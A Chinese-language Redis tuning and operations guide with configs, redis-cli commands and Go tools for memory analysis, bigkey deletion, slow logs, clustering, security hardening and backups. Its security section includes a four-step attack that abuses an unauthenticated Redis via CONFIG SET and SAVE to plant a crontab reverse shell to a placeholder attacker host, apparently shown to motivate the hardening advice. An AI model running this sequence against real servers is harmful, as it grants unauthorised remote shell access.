Redis 性能优化与运维实战

INFO memory

MEMORY STATS

MEMORY USAGE user:1001          # 单个 key 的内存占用（包含内部开销）
MEMORY USAGE user:1001 SAMPLES 10   # 对于集合类型，采样10个元素计算均值

MEMORY DOCTOR

MEMORY PURGE

MEMORY MALLOC-STATS

// redis.h
#define REDIS_SHARED_INTEGERS 10000

# redis.conf
activedefrag yes                              # 开启主动碎片整理

active-defrag-ignore-bytes 100mb              # 碎片达到 100MB 才开始整理
active-defrag-threshold-lower 10              # 碎片率 >= 110%（即 > 1.1）时开始
active-defrag-threshold-upper 100             # 碎片率超过 100%（即 > 2.0）时全力整理

active-defrag-cycle-min 1                     # CPU 时间占比下限 1%
active-defrag-cycle-max 25                    # CPU 时间占比上限 25%

active-defrag-max-scan-fields 1000            # 单次扫描的最大 field 数

// 用户场景：存储用户的历史登录时间
// 原始方案
key := fmt.Sprintf("login_history:%d", userID)
field := dateStr

// 分段方案 (假设 userID = 123456)
segment := userID / 100            // 1234
subKey := userID % 100             // 56
key = fmt.Sprintf("login_history:%d", segment)
field = fmt.Sprintf("%d:%s", subKey, dateStr)

# 方案A：独立 String
SET user:1:active 1
SET user:2:active 0
# 1000万个用户：~30MB

# 方案B：Bitmap
SETBIT active_users 1 1
SETBIT active_users 2 0
# 1000万个用户：~1.2MB

# redis.conf
maxmemory 4gb                                  # 最大内存上限（必须设置！）
maxmemory-policy allkeys-lru                   # 淘汰策略
maxmemory-samples 10                           # LRU/LFU 采样数（默认5，建议10）

# 以下是 LFU 专属配置（使用 LFU 策略时生效）
lfu-log-factor 10                              # 对数因子，越大增长越慢（默认10）
lfu-decay-time 1                               # 衰减周期，单位分钟（默认1）

redis-cli -h 127.0.0.1 -p 6379 -a password --bigkeys

package main

import (
	"context"
	"fmt"
	"log"
	"sort"

	"github.com/redis/go-redis/v9"
)

const (
	bigKeyThreshold = 10 * 1024  // 10KB for string
	bigEleThreshold = 5000        // 5000 elements for collections
)

type BigKey struct {
	Key      string
	Type     string
	Length   int
	Size     int64
}

func main() {
	ctx := context.Background()
	rdb := redis.NewClient(&redis.Options{
		Addr:     "127.0.0.1:6379",
		Password: "password",
	})

	var cursor uint64
	var bigkeys []BigKey

	for {
		keys, nextCursor, err := rdb.Scan(ctx, cursor, "*", 1000).Result()
		if err != nil {
			log.Fatal(err)
		}

		for _, key := range keys {
			keyType, err := rdb.Type(ctx, key).Result()
			if err != nil {
				log.Printf("type err for %s: %v", key, err)
				continue
			}

			switch keyType {
			case "string":
				size, err := rdb.MemoryUsage(ctx, key, 0).Result()
				if err != nil {
					continue
				}
				if size > bigKeyThreshold {
					bigkeys = append(bigkeys, BigKey{Key: key, Type: "string", Size: size})
				}

			case "hash":
				length, err := rdb.HLen(ctx, key).Result()
				if err != nil {
					continue
				}
				if length > bigEleThreshold {
					size, _ := rdb.MemoryUsage(ctx, key, 10).Result()
					bigkeys = append(bigkeys, BigKey{Key: key, Type: "hash", Length: int(length), Size: size})
				}

			case "list":
				length, err := rdb.LLen(ctx, key).Result()
				if err != nil {
					continue
				}
				if length > bigEleThreshold {
					bigkeys = append(bigkeys, BigKey{Key: key, Type: "list", Length: int(length)})
				}

			case "set":
				length, err := rdb.SCard(ctx, key).Result()
				if err != nil {
					continue
				}
				if length > bigEleThreshold {
					bigkeys = append(bigkeys, BigKey{Key: key, Type: "set", Length: int(length)})
				}

			case "zset":
				length, err := rdb.ZCard(ctx, key).Result()
				if err != nil {
					continue
				}
				if length > bigEleThreshold {
					bigkeys = append(bigkeys, BigKey{Key: key, Type: "zset", Length: int(length)})
				}
			}
		}

		cursor = nextCursor
		if cursor == 0 {
			break
		}
	}

	// 按 Size 降序排列
	sort.Slice(bigkeys, func(i, j int) bool {
		return bigkeys[i].Size > bigkeys[j].Size
	})

	for _, bk := range bigkeys {
		fmt.Printf("%s | %s | len=%d | size=%d\n", bk.Key, bk.Type, bk.Length, bk.Size)
	}
}

# 安装 redis-rdb-tools
pip install rdbtools python-lzf

# 分析并生成 CSV 报告
rdb -c memory /data/redis/dump.rdb > memory_report.csv

# 排序查看内存占用最大的 key
sort -t',' -k4 -nr memory_report.csv | head -20

# 危险！删除一个包含 100 万元素的 Hash
DEL orders:202601   # 阻塞主线程几百毫秒到数秒

# 安全！UNLINK 将 key 标记为待删除，后台线程异步回收内存
UNLINK orders:202601

# 甚至可以让 DEL 像 UNLINK 一样异步执行
lazyfree-lazy-eviction yes
lazyfree-lazy-expire yes
lazyfree-lazy-server-del yes
replica-lazy-flush yes

// 使用 HSCAN + HDEL 分批删除，每次删除 100 个 field
key := "orders:202601"
var cursor uint64
for {
    fields, nextCursor, _ := rdb.HScan(ctx, key, cursor, "*", 100).Result()
    if len(fields) > 0 {
        fkeys := make([]string, 0, len(fields)/2)
        for i := 0; i < len(fields); i += 2 {
            fkeys = append(fkeys, fields[i])
        }
        rdb.HDel(ctx, key, fkeys...)
    }
    cursor = nextCursor
    if cursor == 0 {
        break
    }
}
rdb.Del(ctx, key) // 最后删除空 Hash

// 使用 SSCAN + SREM
var cursor uint64
for {
    members, nextCursor, _ := rdb.SScan(ctx, key, cursor, "*", 100).Result()
    if len(members) > 0 {
        rdb.SRem(ctx, key, members)
    }
    cursor = nextCursor
    if cursor == 0 {
        break
    }
}
rdb.Del(ctx, key)

// 使用 ZSCAN + ZREM
var cursor uint64
for {
    items, nextCursor, _ := rdb.ZScan(ctx, key, cursor, "*", 100).Result()
    if len(items) > 0 {
        members := make([]string, 0, len(items)/2)
        for i := 0; i < len(items); i += 2 {
            members = append(members, items[i])
        }
        rdb.ZRem(ctx, key, members)
    }
    cursor = nextCursor
    if cursor == 0 {
        break
    }
}
rdb.Del(ctx, key)

// 使用 LTRIM 分批删除，每次保留最后 100 个（即删掉前 100 个）
for {
    length, _ := rdb.LLen(ctx, key).Result()
    if length == 0 {
        break
    }
    rdb.LTrim(ctx, key, 0, -101)
}
rdb.Del(ctx, key)

package main

import (
	"context"
	"fmt"
	"log"
	"time"

	"github.com/redis/go-redis/v9"
)

// safeDeleteBigKey 安全删除 Bigkey，分批 + 休眠，避免影响线上
func safeDeleteBigKey(ctx context.Context, rdb *redis.Client, key string, batchSize int64, sleepMs int) error {
	exists, err := rdb.Exists(ctx, key).Result()
	if err != nil {
		return fmt.Errorf("exists err: %w", err)
	}
	if exists == 0 {
		return nil
	}

	keyType, err := rdb.Type(ctx, key).Result()
	if err != nil {
		return fmt.Errorf("type err: %w", err)
	}

	if keyType == "string" {
		return rdb.Del(ctx, key).Err()
	}

	// 集合类型：渐进式删除
	var cursor uint64
	for {
		switch keyType {
		case "hash":
			fields, nextCursor, err := rdb.HScan(ctx, key, cursor, "*", batchSize).Result()
			if err != nil {
				return fmt.Errorf("hscan err: %w", err)
			}
			if len(fields) > 0 {
				// fields 是 [field1, val1, field2, val2, ...]，提取 field 部分
				fkeys := make([]string, 0, len(fields)/2)
				for i := 0; i < len(fields); i += 2 {
					fkeys = append(fkeys, fields[i])
				}
				if err := rdb.HDel(ctx, key, fkeys...).Err(); err != nil {
					return fmt.Errorf("hdel err: %w", err)
				}
			}
			cursor = nextCursor

		case "set":
			data, nextCursor, err := rdb.SScan(ctx, key, cursor, "*", batchSize).Result()
			if err != nil {
				return fmt.Errorf("sscan err: %w", err)
			}
			if len(data) > 0 {
				if err := rdb.SRem(ctx, key, data).Err(); err != nil {
					return fmt.Errorf("srem err: %w", err)
				}
			}
			cursor = nextCursor

		case "zset":
			data, nextCursor, err := rdb.ZScan(ctx, key, cursor, "*", batchSize).Result()
			if err != nil {
				return fmt.Errorf("zscan err: %w", err)
			}
			if len(data) > 0 {
				// data 是 [member1, score1, member2, score2, ...]
				members := make([]string, 0, len(data)/2)
				for i := 0; i < len(data); i += 2 {
					members = append(members, data[i])
				}
				if err := rdb.ZRem(ctx, key, members).Err(); err != nil {
					return fmt.Errorf("zrem err: %w", err)
				}
			}
			cursor = nextCursor

		case "list":
			length, err := rdb.LLen(ctx, key).Result()
			if err != nil {
				return fmt.Errorf("llen err: %w", err)
			}
			trimLen := length - batchSize
			if trimLen < 0 {
				trimLen = 0
			}
			if err := rdb.LTrim(ctx, key, 0, trimLen).Err(); err != nil {
				return fmt.Errorf("ltrim err: %w", err)
			}
			if trimLen == 0 {
				if err := rdb.Del(ctx, key).Err(); err != nil {
					return fmt.Errorf("del list err: %w", err)
				}
				return nil
			}

			// List 没有 SCAN，需要循环 LTRIM
			if sleepMs > 0 {
				time.Sleep(time.Duration(sleepMs) * time.Millisecond)
			}
			continue
		}

		if cursor == 0 {
			if err := rdb.Del(ctx, key).Err(); err != nil {
				return fmt.Errorf("del err: %w", err)
			}
			break
		}

		if sleepMs > 0 {
			time.Sleep(time.Duration(sleepMs) * time.Millisecond)
		}
	}

	return nil
}

func main() {
	ctx := context.Background()
	rdb := redis.NewClient(&redis.Options{
		Addr:     "127.0.0.1:6379",
		Password: "password",
	})

	if err := safeDeleteBigKey(ctx, rdb, "big_hash_key", 500, 5); err != nil {
		log.Fatal(err)
	}
	fmt.Println("deleted successfully")
}

### 3.5 预防措施

1. **业务层限制**：应用代码在写入前校验 value 大小和集合元素数。
2. **定期清理**：为集合中的过期元素设置 `EXPIRE` 或使用 TTL 管理。
3. **合理设计**：参考 1.4 节的数据结构优化案例。
4. **提前告警**：通过 3.3 中的方法定期扫描，发现潜在 Bigkey 提前治理。

---

## 4. 慢查询

### 4.1 慢查询日志配置

```bash
# redis.conf
slowlog-log-slower-than 10000    # 阈值（微秒），默认 10000（10ms）
slowlog-max-len 128               # 日志最大条数（FIFO 队列）

slowlog-log-slower-than 1000     # 1ms —— 对 Redis 来说，超过 1ms 就算慢了
slowlog-max-len 1000              # 128 太小，建议扩大到 1000~

# 查看最近 10 条
SLOWLOG GET 10

# 查看最近 5 条
SLOWLOG GET 5

# 当前慢查询记录数
SLOWLOG LEN

# 清空慢查询日志
SLOWLOG RESET

# 查看最新延迟事件
LATENCY LATEST
# 输出示例：
# 1) 1) "fork"
#    2) (integer) 1700000000
#    3) (integer) 35000          # 35ms fork 延迟（内存大）
# 2) 1) "aof-fsync-always"
#    2) (integer) 1700000100
#    3) (integer) 8000

# 查看某个事件的历史延迟
LATENCY HISTORY fork

# 获取自动诊断建议
LATENCY DOCTOR
# 输出示例：
# Dave, I have observed latency spikes in this Redis instance.
# 1- The fork system call is taking a significant amount of time...
#    I can suggest: avoid using large instances (more than a few GB)...

# 重置延迟记录
LATENCY RESET [event]

package main

import (
	"context"
	"fmt"

	"github.com/redis/go-redis/v9"
)

func main() {
	ctx := context.Background()
	rdb := redis.NewClient(&redis.Options{
		Addr: "127.0.0.1:6379",
	})

	// 方式一：手动创建 Pipeline
	pipe := rdb.Pipeline()
	for i := 0; i < 10000; i++ {
		pipe.Set(ctx, fmt.Sprintf("key:%d", i), fmt.Sprintf("value:%d", i), 0)
	}
	cmds, err := pipe.Exec(ctx)
	if err != nil {
		panic(err)
	}
	fmt.Printf("Executed %d commands\n", len(cmds))

	// 方式二：使用 Pipelined 自动管理
	_, err = rdb.Pipelined(ctx, func(pipe redis.Pipeliner) error {
		for i := 0; i < 10000; i++ {
			pipe.Set(ctx, fmt.Sprintf("key:%d", i), fmt.Sprintf("value:%d", i), 0)
		}
		return nil
	})
	if err != nil {
		panic(err)
	}
}

# 没有 hash_tag：key 由 CRC16 散列到不同 slot
SET user:1:name "Alice"    # slot 可能 = 5000
SET user:1:age "25"        # slot 可能 = 11000

# 有 hash_tag：只对 {} 中的内容做散列
SET user:{1}:name "Alice"  # slot = CRC16("1") fixed
SET user:{1}:age "25"      # slot = CRC16("1") fixed

# 生成 Redis 协议格式的数据文件
cat data.txt | redis-cli -h 127.0.0.1 -p 6379 -a password --pipe

# redis.conf
requirepass your_strong_password_here

redis-cli -a your_strong_password_here
# 或连接后 AUTH
AUTH your_strong_password_here

# 创建只读用户
ACL SETUSER readonly_user on >readonly_pass ~* +@read -@write

# 创建受限用户（只能操作 user:* 前缀的 key）
ACL SETUSER app_user on >app_pass ~user:* +@all

# 禁用 default 用户
ACL SETUSER default off

# 查看所有用户
ACL LIST

# 查看当前用户的权限
ACL WHOAMI

# 从外部 ACL 文件加载
ACL LOAD

# redis.conf
bind 127.0.0.1 10.0.1.100    # 仅本地和内网 IP
# 或 bind 0.0.0.0 配合防火墙使用

protected-mode yes   # 默认 yes，无密码 + 未 bind 本地时拒绝外部连接

# redis.conf

# 彻底禁用危险命令
rename-command KEYS ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""

# 或重命名为只有运维知道的随机后缀
rename-command SHUTDOWN SHUTDOWN_a3f8b2
rename-command DEBUG DEBUG_x7k2m1

# 保留 CONFIG 但限制为只读
rename-command CONFIG CONFIG_b9d1e0

# iptables 示例
iptables -A INPUT -p tcp --dport 6379 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP

# 创建专用 redis 用户
useradd -r -s /sbin/nologin redis
chown -R redis:redis /data/redis /var/log/redis

# systemd 或 supervisor 中以 redis 用户启动

port 16379   # 改为非标准端口，降低被扫描的概率

# redis.conf
tls-port 6380
tls-cert-file /etc/redis/tls/redis.crt
tls-key-file /etc/redis/tls/redis.key
tls-ca-cert-file /etc/redis/tls/ca.crt
tls-auth-clients optional           # optional / yes / no

redis-cli --tls \
  --cert /etc/redis/tls/client.crt \
  --key /etc/redis/tls/client.key \
  --cacert /etc/redis/tls/ca.crt \
  -p 6380

# 1. 连接无密码的 Redis
redis-cli -h victim_ip

# 2. 设置持久化目录和文件名
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root

# 3. 写入 crontab 内容
SET payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1\n\n"

# 4. 保存
SAVE

# docker-compose.yml
version: '3'
services:
  redis_exporter:
    image: oliver006/redis_exporter:latest
    environment:
      - REDIS_ADDR=redis://10.0.1.100:6379
      - REDIS_PASSWORD=your_password
    ports:
      - "9121:9121"

# 实时统计
redis-cli -h 127.0.0.1 -p 6379 --stat

# 延迟监控 (Ctrl+C 停止)
redis-cli -h 127.0.0.1 -p 6379 --latency

# 延迟历史 (每 15 秒输出一次)
redis-cli -h 127.0.0.1 -p 6379 --latency-history

# 延迟分布 (采样并统计分位值)
redis-cli -h 127.0.0.1 -p 6379 --latency-dist

# crontab 示例

# 每小时的 0 分钟执行 BGSAVE
0 * * * * /usr/local/bin/redis-cli -h 127.0.0.1 -p 6379 -a your_password bgsave >> /var/log/redis/backup.log 2>&1

# 每天凌晨 3 点将 RDB 文件备份到远程存储（异地）
0 3 * * * cp /data/redis/dump.rdb /backup/redis/dump.$(date +\%Y\%m\%d).rdb && \
          echo "Backup completed: $(date +\%Y\%m\%d)" >> /var/log/redis/backup.log

# 每天凌晨 4 点将备份同步到对象存储
0 4 * * * /usr/local/bin/ossutil cp /backup/redis/dump.$(date +\%Y\%m\%d).rdb \
          oss://my-backup-bucket/redis/$(date +\%Y\%m\%d)/dump.rdb >> /var/log/redis/backup.log 2>&1

# 每小时的 15 分钟执行 AOF rewrite（如果碎片率高）
15 * * * * /usr/local/bin/redis-cli -h 127.0.0.1 -p 6379 -a your_password \
          BGREWRITEAOF >> /var/log/redis/backup.log 2>&1

#!/bin/bash
# 删除 7 天前的每日备份
find /backup/redis/daily/ -name "dump.*.rdb" -mtime +7 -delete
# 删除 30 天前的每周备份
find /backup/redis/weekly/ -name "dump.*.rdb" -mtime +30 -delete

# 在测试环境定期执行恢复演练脚本

#!/bin/bash
BACKUP_FILE=$1
TEST_REDIS_PORT=6380

# 1. 停止测试实例
redis-cli -p $TEST_REDIS_PORT -a test_pass SHUTDOWN NOSAVE

# 2. 清空测试数据目录
rm -f /data/redis_test/dump.rdb /data/redis_test/appendonly.aof

# 3. 复制备份
cp $BACKUP_FILE /data/redis_test/dump.rdb

# 4. 启动测试实例
redis-server /etc/redis/redis_test.conf --port $TEST_REDIS_PORT

# 5. 等待启动完成
sleep 5

# 6. 验证
KEY_COUNT=$(redis-cli -p $TEST_REDIS_PORT -a test_pass DBSIZE)
echo "Recovered key count: $KEY_COUNT"

# 7. 验证 RDB 文件完整性（离线检查）
redis-check-rdb $BACKUP_FILE
REDIS_CHECK_EXIT=$?

if [ $REDIS_CHECK_EXIT -ne 0 ]; then
    echo "RDB file is corrupted: $BACKUP_FILE"
    exit 1
fi

echo "Recovery drill completed successfully"

redis-check-aof --fix /data/redis/appendonly.aof

# /etc/sysctl.conf

# 内存分配策略：允许 overcommit（Redis fork 需要）
vm.overcommit_memory = 1

# 尽量不 swap —— Redis 数据一旦 swap 出去，延迟从微秒变成毫秒
vm.swappiness = 1

# 增大全连接队列（高并发连接时）
net.core.somaxconn = 65535

# 增大半连接队列（防止 SYN flood 误伤）
net.ipv4.tcp_max_syn_backlog = 65535

# 允许更多的 TIME_WAIT 连接复用
net.ipv4.tcp_tw_reuse = 1

# 立即生效
sysctl -p

# 查看当前状态
cat /sys/kernel/mm/transparent_hugepage/enabled
# 输出: [always] madvise never

# 关闭（立即生效）
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag

# 永久关闭
# /etc/rc.local
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag

# 如果服务器有多个 NUMA 节点，使用 numactl 交错分配内存
numactl --interleave=all redis-server /etc/redis/redis.conf

# redis.conf
tcp-backlog 511    # = somaxconn 和 tcp_max_syn_backlog 的较小值

# ===== /etc/sysctl.conf =====
vm.overcommit_memory = 1
vm.swappiness = 1
net.core.somaxconn = 65535
net.ipv4.tcp_max_syn_backlog = 65535
net.ipv4.tcp_tw_reuse = 1

# ===== /etc/security/limits.conf =====
redis  soft  nofile  65535
redis  hard  nofile  65535
redis  soft  nproc   65535
redis  hard  nproc   65535

# ===== /etc/rc.local =====
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag

# ===== 启动方式（systemd override）=====
# /etc/systemd/system/redis.service.d/override.conf
[Service]
ExecStart=
ExecStart=/usr/bin/numactl --interleave=all /usr/local/bin/redis-server /etc/redis/redis.conf
LimitNOFILE=65535

# redis.conf

# client-output-buffer-limit <class> <hard limit> <soft limit> <soft seconds>
#
# hard limit: 绝对上限，超过立即断开
# soft limit + soft seconds: 超过软限制并持续 N 秒后断开

client-output-buffer-limit normal 0 0 0
client-output-buffer-limit replica 256mb 64mb 60
client-output-buffer-limit pubsub 32mb 8mb 60

# 建议配置：硬限制 64MB，软限制 32MB 持续 60 秒
client-output-buffer-limit normal 64mb 32mb 60

# 查看每个客户端的输出缓冲区占用
CLIENT LIST

# 输出中关注：omem=xxx  (output buffer memory)
# cmd=xxx  (last command)
# age=xxx  (connection age in seconds)

# redis.conf

# 节点间通信端口 = port + 10000（如 6379 → 16379）
# 确保防火墙放开这两个端口

# 节点超时时间
cluster-node-timeout 15000              # 默认 15 秒，可根据网络质量调整

# 是否要求所有 slot 都有节点负责
cluster-require-full-coverage no        # 建议设为 no

# 迁移 slot 时控制迁移速度（避免阻塞）
redis-cli --cluster reshard 127.0.0.1:6379 \
    --cluster-from node_id1 \
    --cluster-to node_id2 \
    --cluster-slots 1000 \
    --cluster-timeout 60000 \
    --cluster-pipeline 10          # pipeline 批量迁移，提升速度

# 报错
MGET key1 key2
# (error) CROSSSLOT Keys in request don't hash to the same slot

# 正确：使用 hash_tag
MGET {user:1001}:name {user:1001}:age {user:1001}:email

# 集群状态
CLUSTER INFO

# 节点列表
CLUSTER NODES

# Slot 分布
CLUSTER SLOTS

# 检查集群一致性
redis-cli --cluster check 127.0.0.1:6379